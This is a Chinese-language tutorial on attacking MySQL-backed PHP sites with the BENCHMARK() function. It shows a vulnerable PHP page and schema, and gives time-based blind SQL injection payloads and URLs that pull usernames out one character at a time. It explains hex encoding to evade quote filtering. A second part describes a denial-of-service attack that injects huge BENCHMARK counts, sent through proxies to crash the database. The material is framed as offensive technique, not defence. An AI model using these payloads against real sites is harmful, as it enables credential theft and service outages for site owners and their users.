天天看點

MySQL中benchmark_MYSQL中BENCHMARK函數的利用

第一部

利用時間推延進行注射---BENCHMARK函數在注射中的利用

一.前言/思路

如果你看了angel的《SQL

Injection with

MySQL》一文,你有會發現一般的mysql+php的注射都是通過傳回錯誤資訊,和union聯合查詢替換原來查詢語句中的字段而直接輸出敏感資訊,但是有的時候,主機設定為不顯示錯誤資訊:display_errors

= Off

而且有的代碼中sql查詢後隻是簡單的對查詢結果進行判斷,而不要求輸出查詢結果,我們用上面的辦法注射将一無所獲。我們可以采用時間推延來進行判斷注射了。

本技術的主要思路:通過在構造的語句用加入執行時間推延的函數,如果我們送出的判斷是正确的,那麼mysql查詢時間就出現推延,如果送出的判斷是正确,将不會執行時間推延的函數,查詢語句将不會出現推延。這樣我們就可以進行判斷注射。

二.關于BENCHMARK函數

在MySQL參考手冊裡可以看到如下描叙:

BENCHMARK(count,expr)

BENCHMARK()函數重複countTimes次執行表達式expr,它可以用于計時MySQL處理表達式有多快。結果值總是0。意欲用于mysql客戶,它報告查詢的執行時間。

mysql> select BENCHMARK(1000000,encode("hello","goodbye"));

+----------------------------------------------+

|

BENCHMARK(1000000,encode("hello","goodbye")) |

+----------------------------------------------+

| 0 |

+----------------------------------------------+

1 row in set (4.74 sec)

報告的時間是用戶端的經過時間,不是在伺服器端的CPU時間。執行BENCHMARK()若幹次可能是明智的,并且注意伺服器機器的負載有多重來解釋結果。

隻要我們把參數count 設定大點,那麼那執行的時間就會變長。下面我們看看在mysql裡執行的效果:

mysql> select md5( 'test' );

+----------------------------------+

| md5( 'test' ) |

+----------------------------------+

| 098f6bcd4621d373cade4e832627b4f6

|

+----------------------------------+

1 row in set (0.00 sec)

〈-----------執行時間為0.00 sec

mysql> select benchmark( 500000, md5( 'test' ) );

+------------------------------------+

| benchmark( 500000, md5( 'test'

) ) |

+------------------------------------+

| 0 |

+------------------------------------+

1 row in set (6.55 sec)

〈------------執行時間為6.55 sec

由此可以看出使用benchmark執行500000次的時間明顯比正常執行時間延長了。

三.具體例子

首先我們看個簡單的php代碼:

< ?php

$servername = "localhost";

$dbusername =

"root";

$dbpassword = "";

$dbname = "injection";

mysql_connect($servername,$dbusername,$dbpassword) or die

("資料庫連接配接失敗");

$sql = "SELECT * FROM article WHERE articleid=$id";

$result

= mysql_db_query($dbname,$sql);

$row = mysql_fetch_array($result);

if (!$row)

{

exit;

}

?>

資料庫injection結構和内容如下:

# 資料庫 : `injection`

#

# --------------------------------------------------------

#

# 表的結構 `article`

#

CREATE TABLE `article` (

`articleid` int(11) NOT NULL

auto_increment,

`title` varchar(100) NOT NULL default '',

`content` text

NOT NULL,

PRIMARY KEY (`articleid`)

) TYPE=MyISAM AUTO_INCREMENT=3 ;

#

# 導出表中的資料 `article`

#

INSERT INTO `article` VALUES (1, '我是一個不愛讀書的孩子',

'中國的教育制度真是他媽的落後!如果我當教育部長。我要把所有老師都解雇!操~');

INSERT INTO `article` VALUES (2,

'我恨死你', '我恨死你了,你是什麼東西啊');

# --------------------------------------------------------

#

# 表的結構 `user`

#

CREATE TABLE `user` (

`userid` int(11) NOT NULL

auto_increment,

`username` varchar(20) NOT NULL default '',

`password`

varchar(20) NOT NULL default '',

PRIMARY KEY (`userid`)

) TYPE=MyISAM

AUTO_INCREMENT=3 ;

#

# 導出表中的資料 `user`

#

INSERT INTO `user` VALUES (1, 'angel', 'mypass');

INSERT

INTO `user` VALUES (2, '4ngel', 'mypass2');

代碼隻是對查詢結果進行簡單的判斷是否存在,假設我們已經設定display_errors=Off。我們這裡就沒辦法利用union

select的替換直接輸出敏感資訊(ps:這裡不是說我們不利用union,因為在mysql中不支援子查詢)或通過錯誤消息傳回不同來判斷注射了。我們利用union聯合查詢插入BENCHMARK函數語句來進行判斷注射:

id=1 union select 1,benchmark(500000,md5('test')),1 from user

where userid=1 and ord(substring(username,1,1))=97

/*

上面語句可以猜userid為1的使用者名的第一位字母的ascii碼值是是否為97,如果是97,上面的查詢将由于benchmark作用而延時。如果不為97,将不回出現延時,這樣我們最終可以猜出管理者的使用者名和密碼了。

大家注意,這裡有一個小技巧:在benchmark(500000,md5('test'))中我們使用了'号, 這樣是很危險的,因為管理者随便設定下

就可以過濾使注射失敗,我們這裡test可以是用其他進制表示,如16進制。最終構造如下:

http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*

執行速度很慢,得到userid為1的使用者名的第一位字母的ascii碼值是是為97。

注意:我們在使用union select事必須知道原來語句查詢表裡的字段數,以往我們是根據錯誤消息來判斷,我們在union select

1,1,1我們不停的增加1 如果字段數正确将正常傳回不會出現錯誤,而現在不可以使用這個方法了,那我們可以利用benchmark(),我們這樣構造 union

select benchmark(500000,md5(0x41)) 1,1

我們在增加1的,當字段數正确時就回執行benchmark()出現延時,這樣我們就可以判斷字段數了。

第二部

利用BENCHMARK函數進行ddos攻擊

其實思路很簡單:在BENCHMARK(count,expr) 中 我們隻要設定count

就是執行次數足夠大的話,就可以造成dos攻擊了,如果我們用代理或其他同時送出,就是ddos攻擊,估計資料庫很快就會挂了。不過前提還是要求可以注射。語句:

http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))

小結